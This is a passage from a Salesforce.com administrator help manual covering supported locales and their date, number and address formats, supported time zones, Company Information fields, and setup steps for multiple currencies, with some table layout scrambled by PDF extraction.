(Australia) Dollar: AUD 4:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country

English en_BB Barbados 1/2/2008 4:30 6:00 AM 1,234.56 Ms. FName Address Line
(Barbados) Dollar: BBD PM LName 1,
Address Line
2
City, State
ZipCode
Country

375
Company Information Supported Locales

Name Code Default Date and Time format Number Name format Address
currency time format format format
English en_BM Bermuda 1/2/2008 4:30 6:00 AM 1,234.56 Ms. FName Address Line
(Bermuda) Dollar: BMD PM LName 1,
Address Line
2
City, State
ZipCode
Country

English en_CA Canadian 02/01/2008 6:00 AM 1,234.56 Ms. FName Address Line
(Canada) Dollar: CAD 4:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country

English en_GB British 02/01/2008 06:00 1,234.56 Ms. FName Address Line
(United Pound: GBP 16:30 LName 1,
Kingdom)
Address Line
2
City, State
ZipCode
Country

English en_GH Ghanian Cedi 1/2/2008 4:30 6:00 AM 1,234.56 Ms. FName Address Line
(Ghana) (New): GHS PM LName 1,
Address Line
2
City, State
ZipCode
Country

English en_IN Indian rupee: 1/2/2008 4:30 6:00 AM 1,234.56 Ms. FName Address Line
(India) INR PM LName 1,
Address Line
2
City, State
ZipCode
Country

376
Company Information Supported Locales

Name Code Default Date and Time format Number Name format Address
currency time format format format
English en_ID Indonesian 1/2/2008 4:30 6:00 AM 1,234.56 Ms. FName Address Line
(Indonesia) Rupiah: IDR PM LName 1,
Address Line
2
City, State
ZipCode
Country

English en_IE Irish Punt: 02/01/2008 06:00 1,234.56 Ms. FName Address Line
(Ireland) IEP 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

English en_IE_EURO Euro: EUR 02/01/2008 06:00 1,234.56 Ms. FName Address Line
(Ireland,Euro) 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

English (New en_NZ New Zealand 2/01/2008 6:00 AM 1,234.56 Ms. FName Address Line
Zealand) Dollar: NZD 4:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country

English en_SG Singapore 1/2/2008 4:30 6:00 AM 1,234.56 Ms. FName Address Line
(Singapore) Dollar: SGD PM LName 1,
Address Line
2
City, State
ZipCode
Country

377
Company Information Supported Locales

Name Code Default Date and Time format Number Name format Address
currency time format format format
English en_US U.S. Dollar: 1/2/2008 4:30 6:00 AM 1,234.56 Ms. FName Address Line
(United USD PM LName 1,
States)
Address Line
2
City, State
ZipCode
Country

English en_ZA South African 2008/01/02 6:00 AM 1,234.56 Ms. FName Address Line
(South Africa) Rand: ZAR 4:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country

Spanish es 2/01/2008 6:00 1.234,56 Ms. FName Address Line


16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Spanish es_AR Argentine 02/01/2008 06:00 1.234,56 Ms. FName Address Line
(Argentina) Peso: ARS 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Spanish es_BO Bolivian 02-01-2008 06:00 AM 1.234,56 Ms. FName Address Line
(Bolivia) Boliviano: 04:30 PM LName 1,
BOB
Address Line
2
City, State
ZipCode
Country

378
Company Information Supported Locales

Name Code Default Date and Time format Number Name format Address
currency time format format format
Spanish es_CL Chilean Peso: 02-01-2008 06:00 AM 1.234,56 Ms. FName Address Line
(Chile) CLP 04:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country

Spanish es_CO Colombian 2/01/2008 06:00 AM 1.234,56 Ms. FName Address Line
(Colombia) Peso: COP 04:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country

Spanish es_CR Costa Rica 02/01/2008 06:00 AM 1,234.56 Ms. FName Address Line
(Costa Rica) Colon: CRC 04:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country

Spanish es_EC CFA Franc 02/01/2008 06:00 AM 1.234,56 Ms. FName Address Line
(Ecuador) (BEAC): 04:30 PM LName 1,
XAF
Address Line
2
City, State
ZipCode
Country

Spanish es_ES Spanish 2/01/2008 6:00 1.234,56 Ms. FName Address Line
(Spain) Peseta: ESP 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

379
Company Information Supported Locales

Name Code Default Date and Time format Number Name format Address
currency time format format format
Spanish es_ES_EURO Euro: EUR 2/01/2008 6:00 1.234,56 Ms. FName Address Line
(Spain,Euro) 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Spanish es_GT Guatemala 2/01/2008 06:00 AM 1,234.56 Ms. FName Address Line
(Guatemala) Quetzal: 04:30 PM LName 1,
GTQ
Address Line
2
City, State
ZipCode
Country

Spanish es_HN Honduras 01-02-2008 06:00 AM 1,234.56 Ms. FName Address Line
(Honduras) Lempira: 04:30 PM LName 1,
HNL
Address Line
2
City, State
ZipCode
Country

Spanish es_MX Mexican 2/01/2008 06:00 AM 1,234.56 Ms. FName Address Line
(Mexico) Unidad de 04:30 PM LName 1,
Inversion
Address Line
(UDI): MXV
2
City, State
ZipCode
Country

Spanish es_PE Peruvian 02/01/2008 06:00 AM 1.234,56 Ms. FName Address Line
(Peru) Nuevo Sol: 04:30 PM LName 1,
PEN
Address Line
2
City, State
ZipCode
Country

380
Company Information Supported Locales

Name Code Default Date and Time format Number Name format Address
currency time format format format
Spanish es_PR U.S. Dollar: 01-02-2008 06:00 AM 1,234.56 Ms. FName Address Line
(Puerto Rico) USD 04:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country

Spanish es_PY Paraguayan 02/01/2008 06:00 AM 1.234,56 Ms. FName Address Line
(Paraguay) Guarani: 04:30 PM LName 1,
PYG
Address Line
2
City, State
ZipCode
Country

Spanish (El es_SV El Salvador 01-02-2008 06:00 AM 1,234.56 Ms. FName Address Line
Salvador) Colon: USD 04:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country

Spanish es_UY Uruguayan 02/01/2008 06:00 AM 1.234,56 Ms. FName Address Line
(Uruguay) New Peso: 04:30 PM LName 1,
UYU
Address Line
2
City, State
ZipCode
Country

Spanish es_VE Venezuelan 02/01/2008 06:00 AM 1.234,56 Ms. FName Address Line
(Venezuela) Bolivar 04:30 PM LName 1,
Fuerte: VEF
Address Line
2
City, State
ZipCode
Country

381
Company Information Supported Locales

Name Code Default Date and Time format Number Name format Address
currency time format format format
Estonian et_EE Estonian 2.01.2008 6:00 1 234,56 Ms. FName Address Line
(Estonia) Kroon: EEK 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Finnish fi 2.1.2008 6:00 1 234,56 Ms. FName Address Line


16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Finnish fi_FI Finnish Mark: 2.1.2008 6:00 1 234,56 Ms. FName Address Line
(Finland) FIM 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Finnish fi_FI_EURO Euro: EUR 2.1.2008 6:00 1 234,56 Ms. FName Address Line
(Finland,Euro) 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

French fr 02/01/2008 06:00 1 234,56 Ms. FName Address Line


16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

382
Company Information Supported Locales

Name Code Default Date and Time format Number Name format Address
currency time format format format
French fr_BE Belgian Franc: 2/01/2008 6:00 1.234,56 Ms. FName Address Line
(Belgium) BEF 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

French fr_CA Canadian 2008-01-02 06:00 1 234,56 Ms. FName Address Line
(Canada) Dollar: CAD 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

French fr_CH Swiss Franc: 02.01.2008 06:00 1'234.56 Ms. FName Address Line
(Switzerland) CHF 16:30 LName 1,
Address Line
2
City
Country -
State
ZipCode

French fr_FR French Franc: 02/01/2008 06:00 1 234,56 Ms. FName Address Line
(France) FRF 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

French fr_FR_EURO Euro: EUR 02/01/2008 06:00 1 234,56 Ms. FName Address Line
(France,Euro) 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

383
Company Information Supported Locales

Name Code Default Date and Time format Number Name format Address
currency time format format format
French fr_LU Luxembourg 02/01/2008 06:00 1 234,56 Ms. FName Address Line
(Luxembourg) Franc: LUF 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

French fr_MC Moroccan 02/01/2008 06:00 1 234,56 Ms. FName Address Line
(Monaco) Dirham: 16:30 LName 1,
MAD
Address Line
2
City, State
ZipCode
Country

Croatian hr_HR Croatian 02.01.2008. 06:00 1.234,56 Ms. FName Address Line
(Croatia) Kuna: HRK 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Hungarian hu 2008.01.02. 6:00 1 234,56 Ms. FName Address Line


16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Armenian hy_AM Armenian 1/2/2008 4:30 6:00 AM 1,234.56 Ms. FName Address Line
(Armenia) Dram: AMD PM LName 1,
Address Line
2
City, State
ZipCode
Country

384
Company Information Supported Locales

Name Code Default Date and Time format Number Name format Address
currency time format format format
Indonesian in 2008/01/02 06:00 1.234,56 Ms. FName Address Line
16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Icelandic is_IS Iceland 2.1.2008 06:00 1.234,56 Ms. FName Address Line
(Iceland) Krona: ISK 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Italian it 02/01/2008 6.00 1.234,56 Ms. FName Address Line


16.30 LName 1,
Address Line
2
City, State
ZipCode
Country

Italian it_CH Swiss Franc: 02.01.2008 06:00 1'234.56 Ms. FName Address Line
(Switzerland) CHF 16:30 LName 1,
Address Line
2
City
Country -
State
ZipCode

Italian (Italy) it_IT Italian Lira: 02/01/2008 6.00 1.234,56 Ms. FName Address Line
ITL 16.30 LName 1,
Address Line
2
City, State
ZipCode
Country

385
Company Information Supported Locales

Name Code Default Date and Time format Number Name format Address
currency time format format format
Hebrew iw 16:30 06:00 1,234.56 Ms. FName Address Line
02/01/2008 LName 1,
Address Line
2
City, State
ZipCode
Country

Hebrew iw_IL Israeli Shekel: 16:30 06:00 1,234.56 Ms. FName Address Line
(Israel) ILS 02/01/2008 LName 1,
Address Line
2
City, State
ZipCode
Country

Japanese ja 2008/01/02 6:00 1,234.56 LName Country


16:30 FName
ZipCode
State City
Address Line
1,
Address Line
2

Japanese ja_JP Japanese Yen: 2008/01/02 6:00 1,234.56 LName Country


( Japan) JPY 16:30 FName
ZipCode
State City
Address Line
1,
Address Line
2

Kazakh kk_KZ Kazakhstan 1/2/2008 4:30 6:00 AM 1,234.56 Ms. FName Address Line
(Kazakhstan) Tenge: KZT PM LName 1,
Address Line
2
City, State
ZipCode
Country

386
Company Information Supported Locales

Name Code Default Date and Time format Number Name format Address
currency time format format format
Khmer km_KH Cambodia 1/2/2008 4:30 6:00 AM 1,234.56 Ms. FName Address Line
(Cambodia) Riel: KHR PM LName 1,
Address Line
2
City, State
ZipCode
Country

Korean ko 2008. 1. 2 PM    6:00 1,234.56 LName Country


4:30 FName
ZipCode
State City
Address Line
1,
Address Line
2

Korean ko_KR Korean Won: 2008. 1. 2 PM    6:00 1,234.56 LName Country


(South Korea) KRW 4:30 FName
ZipCode
State City
Address Line
1,
Address Line
2

Lithuanian lt_LT Lithuanian 2008.1.2 06.00 1 234,56 Ms. FName Address Line
(Lithuania) Lita: LTL 16.30 LName 1,
Address Line
2
City, State
ZipCode
Country

Latvian lv_LV Latvian Lat: 2008.2.1 06:00 1 234,56 Ms. FName Address Line
(Latvia) LVL 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

387
Company Information Supported Locales

Name Code Default Date and Time format Number Name format Address
currency time format format format
Malay ms_MY Malaysian 02/01/2008 6:00 AM 1,234.56 Ms. FName Address Line
(Malaysia) Ringgit: MYR 4:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country

Dutch nl 2-1-2008 6:00 1.234,56 Ms. FName Address Line


16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Dutch nl_BE Belgian Franc: 2/01/2008 6:00 1.234,56 Ms. FName Address Line
(Belgium) BEF 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Dutch nl_NL Dutch 2-1-2008 6:00 1.234,56 Ms. FName Address Line
(Netherlands) Guilder: 16:30 LName 1,
NLG
Address Line
2
City, State
ZipCode
Country

Dutch nl_SR Surinam 2-1-2008 6:00 1.234,56 Ms. FName Address Line
(Suriname) Dollar: SRD 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

388
Company Information Supported Locales

Name Code Default Date and Time format Number Name format Address
currency time format format format
Norwegian no 02.01.2008 06:00 1 234,56 Ms. FName Address Line
16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Norwegian no_NO Norwegian 02.01.2008 06:00 1 234,56 Ms. FName Address Line
(Norway) Krone: NOK 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Polish pl 2008-01-02 06:00 1 234,56 Ms. FName Address Line


16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Portuguese pt 02-01-2008 6:00 1.234,56 Ms. FName Address Line


16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Portuguese pt_AO Angola 02-01-2008 6:00 1.234,56 Ms. FName Address Line
(Angola) Kwanza: 16:30 LName 1,
AOA
Address Line
2
City, State
ZipCode
Country

389
Company Information Supported Locales

Name Code Default Date and Time format Number Name format Address
currency time format format format
Portuguese pt_BR Brazilian 02/01/2008 06:00 1.234,56 Ms. FName Address Line
(Brazil) Real: BRL 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Portuguese pt_PT Portuguese 02-01-2008 6:00 1.234,56 Ms. FName Address Line
(Portugal) Escudo: PTE 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Romanian ro 02.01.2008 06:00 1.234,56 Ms. FName Address Line


16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Romanian ro_RO Romanian 02.01.2008 06:00 1.234,56 Ms. FName Address Line
(Romania) Leu (New): 16:30 LName 1,
RON
Address Line
2
City, State
ZipCode
Country

Russian ru 02.01.2008 6:00 1 234,56 Ms. FName Address Line


16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

390
Company Information Supported Locales

Name Code Default Date and Time format Number Name format Address
currency time format format format
Russian ru_RU Russian 02.01.2008 6:00 1 234,56 Ms. FName Address Line
(Russia) Rouble: RUB 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Slovak sk_SK Slovak 2.1.2008 6:00 1 234,56 Ms. FName Address Line
(Slovakia) Koruna: SKK 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Slovenian sl_SI Slovenian 2.1.08 16:30 6:00 1.234,56 Ms. FName Address Line
(Slovenia) Tolar: SIT LName 1,
Address Line
2
City, State
ZipCode
Country

Swedish sv 2008-01-02 06:00 1 234,56 Ms. FName Address Line


16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Swedish sv_SE Swedish 2008-01-02 06:00 1 234,56 Ms. FName Address Line
(Sweden) Krona: SEK 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

391
Company Information Supported Locales

Name Code Default Date and Time format Number Name format Address
currency time format format format
Thai th 2/1/2008, 6:00  . 1,234.56 Ms. FName Address Line
16:30  . LName 1,
Address Line
2
City, State
ZipCode
Country

Thai th_TH Thai Baht: 2/1/2551, 6:00  . 1,234.56 Ms. FName Address Line
(Thailand) THB 16:30  . LName 1,
Address Line
2
City, State
ZipCode
Country

Turkish tr 02.01.2008 06:00 1.234,56 Ms. FName Address Line


16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Ukrainian uk 02.01.2008 6:00 1.234,56 Ms. FName Address Line


16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Ukrainian uk_UA Ukraine 02.01.2008 6:00 1.234,56 Ms. FName Address Line
(Ukraine) Hryvnia: 16:30 LName 1,
UAH
Address Line
2
City, State
ZipCode
Country

392
Company Information Supported Locales

Name Code Default Date and Time format Number Name format Address
currency time format format format
Urdu ur_PK Pakistani 1/2/2008 4:30 6:00 AM 1,234.56 Ms. FName Address Line
(Pakistan) Rupee: PKR PM LName 1,
Address Line
2
City, State
ZipCode
Country

Vietnamese vi 16:30 06:00 1.234,56 Ms. FName Address Line


02/01/2008 LName 1,
Address Line
2
City, State
ZipCode
Country

Vietnamese vi_VN Vietnam 16:30 06:00 1.234,56 Ms. FName Address Line
(Vietnam) Dong: VND 02/01/2008 LName 1,
Address Line
2
City, State
ZipCode
Country

Chinese zh 2008-1-2   6:00 1,234.56 LName Country


PM4:30 FName
ZipCode
State City
Address Line
1,
Address Line
2

Chinese zh_CN Chinese 2008-1-2   6:00 1,234.56 LName Country


(China) Yuan: CNY PM4:30 FName
ZipCode
State City
Address Line
1,
Address Line
2

393
Company Information Supported Time Zones

Name Code Default Date and Time format Number Name format Address
currency time format format format
Chinese zh_HK Hong Kong 2008 1 2    6:00 1,234.56 LName Country
(Hong Kong) Dollar: HKD PM4:30 FName
ZipCode
State City
Address Line
1,
Address Line
2

Chinese zh_TW Taiwan 2008/1/2 PM    6:00 1,234.56 LName Country


(Taiwan) Dollar: TWD 4:30 FName
ZipCode
State City
Address Line
1,
Address Line
2

See Also:
Understanding Language, Locale, and Currency

Supported Time Zones


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view company information: “View Setup and Configuration”
To change company information: “Customize Application”
The available personal setup options vary according to which Salesforce.com Edition you have.

Salesforce.com supported times zones and codes (in chronological order):

Time Zone Code Time Zone Name


GMT+14:00 Line Is. Time (Pacific/Kiritimati)
GMT+13:00 Phoenix Is. Time (Pacific/Enderbury)

394
Company Information Supported Time Zones

Time Zone Code Time Zone Name


GMT+13:00 Tonga Time (Pacific/Tongatapu)
GMT+12:45 Chatham Daylight Time (Pacific/Chatham)
GMT+12:00 Petropavlovsk-Kamchatski Time (Asia/Kamchatka)
GMT+12:00 New Zealand Daylight Time (Pacific/Auckland)
GMT+12:00 Fiji Time (Pacific/Fiji)
GMT+11:30 Norfolk Time (Pacific/Norfolk)
GMT+11:00 Solomon Is. Time (Pacific/Guadalcanal)
GMT+10:30 Lord Howe Summer Time (Australia/Lord_Howe)
GMT+10:00 Eastern Standard Time (Queensland)
GMT+10:00 Eastern Summer Time (New South Wales)
GMT+09:30 Central Summer Time (South Australia)
GMT+09:30 Central Standard Time (Northern Territory)
GMT+09:00 Korea Standard Time (Asia/Seoul)
GMT+09:00 Japan Standard Time (Asia/Tokyo)
GMT+08:00 Hong Kong Time (Asia/Hong_Kong)
GMT+08:00 Malaysia Time (Asia/Kuala_Lumpur)
GMT+08:00 Philippines Time (Asia/Manila)
GMT+08:00 China Standard Time (Asia/Shanghai)
GMT+08:00 Singapore Time (Asia/Singapore)
GMT+08:00 China Standard Time (Asia/Taipei)
GMT+08:00 Western Standard Time (Australia)
GMT+07:00 Indochina Time (Asia/Bangkok)
GMT+07:00 West Indonesia Time (Asia/Jakarta)
GMT+07:00 Indochina Time (Asia/Saigon)
GMT+06:30 Myanmar Time (Asia/Rangoon)
GMT+06:00 Bangladesh Time (Asia/Dacca)
GMT+05:45 Nepal Time (Asia/Katmandu)
GMT+05:30 India Standard Time (Asia/Calcutta)
GMT+05:30 India Standard Time (Asia/Colombo)
GMT+05:00 Pakistan Summer Time (Asia/Karachi)
GMT+05:00 Uzbekistan Time (Asia/Tashkent)

395
Company Information Supported Time Zones

Time Zone Code Time Zone Name


GMT+05:00 Yekaterinburg Time (Asia/Yekaterinburg)
GMT+04:30 Afghanistan Time (Asia/Kabul)
GMT+04:00 Gulf Standard Time (Asia/Dubai)
GMT+04:00 Georgia Time (Asia/Tbilisi)
GMT+03:30 Iran Standard Time (Asia/Tehran)
GMT+03:00 Eastern African Time (Africa/Nairobi)
GMT+03:00 Arabia Standard Time (Asia/Baghdad)
GMT+03:00 Arabia Standard Time (Asia/Kuwait)
GMT+03:00 Arabia Standard Time (Asia/Riyadh)
GMT+03:00 Moscow Standard Time (Europe/Moscow)
GMT+02:00 Eastern European Time (Africa/Cairo)
GMT+02:00 South Africa Standard Time (Africa/Johannesburg)
GMT+02:00 Israel Standard Time (Asia/Jerusalem)
GMT+02:00 Eastern European Time (Europe/Athens)
GMT+02:00 Eastern European Time (Europe/Bucharest)
GMT+02:00 Eastern European Time (Europe/Helsinki)
GMT+02:00 Eastern European Time (Europe/Istanbul)
GMT+02:00 Eastern European Time (Europe/Minsk)
GMT+01:00 Central European Time (Europe/Amsterdam)
GMT+01:00 Central European Time (Europe/Berlin)
GMT+01:00 Central European Time (Europe/Brussels)
GMT+01:00 Central European Time (Europe/Paris)
GMT+01:00 Central European Time (Europe/Prague)
GMT+01:00 Central European Time (Europe/Rome)
GMT+00:00 Greenwich Mean Time (Europe/Dublin)
GMT+00:00 Western European Time (Europe/Lisbon)
GMT+00:00 Greenwich Mean Time (Europe/London)
GMT+00:00 Greenwich Mean Time (GMT)
GMT-01:00 Cape Verde Time (Atlantic/Cape_Verde)
GMT-02:00 South Georgia Standard Time (Atlantic/South_Georgia)
GMT-03:00 Argentine Summer Time (America/Buenos_Aires)

396
Company Information Supported Time Zones

Time Zone Code Time Zone Name


GMT-03:00 Brasilia Summer Time (America/Sao_Paulo)
GMT-03:30 Newfoundland Daylight Time (America/St_Johns)
GMT-04:00 Atlantic Daylight Time (America/Halifax)
GMT-04:00 Atlantic Standard Time (America/Puerto_Rico)
GMT-04:00 Chile Summer Time (America/Santiago)
GMT-04:00 Atlantic Daylight Time (Atlantic/Bermuda)
GMT-04:30 Venezuela Time (America/Caracas)
GMT-05:00 Colombia Time (America/Bogota)
GMT-05:00 Eastern Daylight Time (America/Indianapolis)
GMT-05:00 Peru Time (America/Lima)
GMT-05:00 Eastern Daylight Time (America/New_York)
GMT-05:00 Eastern Standard Time (America/Panama)
GMT-06:00 Central Daylight Time (America/Chicago)
GMT-06:00 Central Standard Time (America/El_Salvador)
GMT-06:00 Central Standard Time (America/Mexico_City)
GMT-07:00 Mountain Daylight Time (America/Denver)
GMT-07:00 Mountain Standard Time (America/Phoenix)
GMT-08:00 Pacific Daylight Time (America/Los_Angeles)
GMT-08:00 Pacific Standard Time (America/Tijuana)
GMT-09:00 Alaska Daylight Time (America/Anchorage)
GMT-10:00 Hawaii Standard Time (Pacific/Honolulu)
GMT-11:00 Niue Time (Pacific/Niue)
GMT-11:00 Samoa Standard Time (Pacific/Pago_Pago)

See Also:
Understanding Language, Locale, and Currency

397
Company Information Company Information Fields

Company Information Fields


The available fields vary according to which Salesforce.com Edition you have.

The Company Information page has the following fields (listed in alphabetical order), including the user and feature licenses
purchased for your organization.

Field Description
Active Salesforce.com Users Number of active Salesforce.com users for the organization.
Address Street address of the organization. Up to 255 characters are
allowed in this field.
Admin Newsletter Allow administrators in your organization to choose whether
they want to receive administrator-targeted promotional emails
from salesforce.com.
API Requests, Last 24 Hours The total number of API requests issued by the organization
in the last 24 hours. The maximum number of requests
depends on your Edition. For a list of request limits by
Edition, see Force.com API Usage Limits on page 1659. For
more information about API usage notification, see About
API Usage Notifications on page 705 or the Web Services API
Developer's Guide.
City City in which organization is located. Up to 40 characters are
allowed in this field.
Corporate Currency The currency in which the organization's corporate
headquarters reports revenue. Serves as the basis for all
currency conversion rates. Only for organizations that use
multiple currencies.
Country Country in which organization is located. Up to 40 characters
are allowed in this field.
Created By User who signed up the organization, including creation date
and time. (Read only)
Currency Locale The country or geographic region in which the organization
is located. The setting affects the format of currency amounts.
For single currency organizations only.
Default Language The default language that is selected for new users in the
organization. This setting determines the language used for
the user interface text and help. In all editions except Personal
Edition, individual users can separately set the language for
their own login, which will override the organization setting.
In Group Edition, this field is called Display Language.

398
Company Information Company Information Fields

Field Description
This setting also determines the language in which all
customizations—such as custom fields, tabs, and user interface
options—are stored. For customizations, individual users'
language settings do not override this setting.

Default Locale The default country or geographic region that is selected for
new users in the organization. This setting determines the
format of dates, times, and names in Salesforce.com. In
Contact Manager, Group, Professional, Enterprise, Unlimited,
and Developer Edition organizations, individual users can set
their personal locale, which overrides the organization setting.
In Group Edition, this field is called Locale.
Default Time Zone Primary time zone in which the organization is located. A
user's individual Time Zone setting overrides the
organization's Default Time Zone setting.
Note: Organizations in Arizona should select “Mountain
Standard Time,” and organizations in parts of Indiana that
do not follow Daylight Savings Time should select “Eastern
Standard Time.”

Division Group or division that uses the service, for example, PC Sales
Group. Up to 40 characters are allowed in this field.
Fax Fax number. Up to 40 characters are allowed in this field.
Fiscal Year Starts In If using a standard fiscal year, the starting month and year for
the organization’s fiscal year. If using a custom fiscal year, the
value will be “Custom Fiscal Year.”
Hide Notices About System Downtime Select this checkbox to prevent advance notices about planned
system downtime from displaying to users when they log in
to Salesforce.com.
Hide Notices About System Maintenance Select this checkbox to prevent advance notices about planned
system maintenance from displaying to users when they log
in to Salesforce.com.
Modified By User who last changed the company information, including
modification date and time. (Read only)
Newsletter Allow users in your organization to choose whether they want
to receive user-targeted promotional emails from
salesforce.com.
Organization Name Name of the organization. Up to 80 characters are allowed in
this field.
Phone Main phone number at organization. Up to 40 characters are
allowed in this field.

399
Company Information Company Information Fields

Field Description
Primary Contact Person who is main contact or administrator at the
organization. You can enter a name, or select a name from a
list of previously defined users. Up to 80 characters are allowed
in this field.
Salesforce.com Licenses Number of Salesforce.com user accounts that can be defined
for access to the service. This is the number of Salesforce.com
user licenses for which the organization is billed, if charges
apply.
Salesforce.com Organization ID Code that uniquely identifies your organization to
salesforce.com.
Restricted Logins, Current Month Number of restricted login users who have logged in during
the current month.
This value resets to zero at the beginning of each month. The
maximum number of restricted login users for the organization
is in parentheses.

State State or province in which organization is located. Up to 20


characters are allowed in this field.
Zip Zip or postal code of the organization. Up to 20 characters
are allowed in this field.
Used Data Space Amount of data storage in use; the value is expressed as a
measurement (for example, 500 MB) and as a percentage of
the total amount of data storage available (for example, 10%).
Used File Space Amount of file storage in use; the value is expressed as a
measurement (for example, 500 MB) and as a percentage of
the total amount of file storage available (for example, 10%).

See Also:
About Company Information
Understanding Language, Locale, and Currency

400
Multiple Currencies Managing Multiple Currencies

MULTIPLE CURRENCIES

Managing Multiple Currencies


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view currencies: “View Setup and Configuration”
To change currencies: “Customize Application”

Your organization can set up the ability to use multiple currencies in opportunities, forecasts, quotes, reports, and other data.
To set up multiple currencies:

1. Contact salesforce.com to enable multiple currencies for your organization.


2. Designate your corporate currency. See Setting Corporate Currency on page 402.
3. Activate additional currencies for your organization. See Activating and Deactivating Currencies on page 403.
4. To use dated exchange rates, enable advanced currency management.
5. Set conversion rates for new currencies. See Editing Conversion Rates on page 404 and, if you have enabled advanced
currency management, Editing Dated Exchange Rates on page 407.

Using Multiple Currencies


International organizations can use multiple currencies in opportunities, forecasts, reports, quotes, and other currency fields.
The administrator sets the “corporate currency,” which reflects the currency of the corporate headquarters. The administrator
also maintains the list of active currencies and their conversion rates relative to the corporate currency. The active currencies
represent the countries in which the organization does business. Only active currencies can be used in currency amount fields.
Every user also has a personal currency, which is used as the default currency in his or her own quotas, forecasts, opportunities,
quotes, and reports. Users can also create opportunities and enter amounts using other active currencies.
Every lead, account, contact, opportunity, and case has a field that specifies the currency to use for all amount fields in that
record. For example, you can set the Account Currency to “USD-U.S. Dollars” so that the Annual Revenue shows in
dollars for one of your American accounts. All currency amounts are displayed in the default currency of the record as well as
in the personal currency of the user. When you change the default currency of a record, currency amounts are not converted;
they simply display with the new currency code.
Note: If your organization uses advanced currency management, the opportunity close date determines which conversion
rate to use when displaying currency amounts.

In forecasts, currency amounts are automatically converted to the user’s personal currency. For managers, their team’s
opportunities, forecasts, quotes, and other data is converted and rolled up to the manager’s personal currency. The manager
can also drill down to see the data in its native currency. All conversion and roll-ups happen automatically.

401
Multiple Currencies Setting Corporate Currency

Amounts in reports are shown in their original currencies, but can be displayed in any active currency. You can change the
currency used for report totals by selecting a currency from the Display Currencies Using drop-down list on the Select Criteria
page of the report wizard. The default value for the drop-down is your personal currency. For any amount, you can also choose
to display the Converted column—for example, Annual Revenue Converted—which will show amounts in the currency
you select from the Display Currencies Using drop-down list.
Custom formula fields are not tied to any particular currency. If the result of a formula field is a currency amount, it displays
in the currency of the associated record. This is also true for cross-object formulas that reference merge fields with different
currencies, and formulas in workflow rules and approval processes. However, note that workflow rules and approval processes
that use filters instead of formulas convert all currency values to the corporate currency.
You cannot disable multiple currencies for your organization if the currency fields are referenced in an Apex script. For example,
if a script references the Account Currency field (represented as CurrencyIsoCode in the code), multiple currencies
cannot be disabled. For more information, see Force.com Apex Code Overview on page 1538.

See Also:
Administrator setup guide: Using Multiple Currencies
Importing Multiple Currencies

Setting Corporate Currency


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view currencies: “View Setup and Configuration”
To change currencies: “Customize Application”

Your administrator must specify a Corporate Currency, which reflects the currency in which your corporate headquarters
reports revenue. A salesforce.com representative initially sets your corporate currency upon activation of the feature.
To change your corporate currency:

1. Click Setup ➤ Company Profile ➤ Manage Currencies.


2. Click Change Corporate.
3. Choose a new corporate currency from the list of active currencies, and click Save. If you have not yet set up any currencies,
see Activating and Deactivating Currencies on page 403.

The corporate currency is the currency on which all of your conversion rates are based.

See Also:
Managing Multiple Currencies
Editing Conversion Rates
About Advanced Currency Management
Administrator setup guide: Using Multiple Currencies

402
Multiple Currencies Activating and Deactivating Currencies

Activating and Deactivating Currencies


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view currencies: “View Setup and Configuration”
To change currencies: “Customize Application”

To use multiple currencies, your administrator must specify which currencies are supported for your organization.

• Active currencies—These represent countries in which your organization does business. Only active currencies can be
entered in opportunities, forecasts, and other items. Once you activate a currency, you can never permanently delete it.
• Inactive currencies—These are currencies that your organization no longer uses. You may have existing records that use
inactive currencies, but you cannot enter new amounts in inactive currencies.

To activate new currencies:

1. Click Setup ➤ Company Profile ➤ Manage Currencies.


2. Click New in the Active Currencies related list.
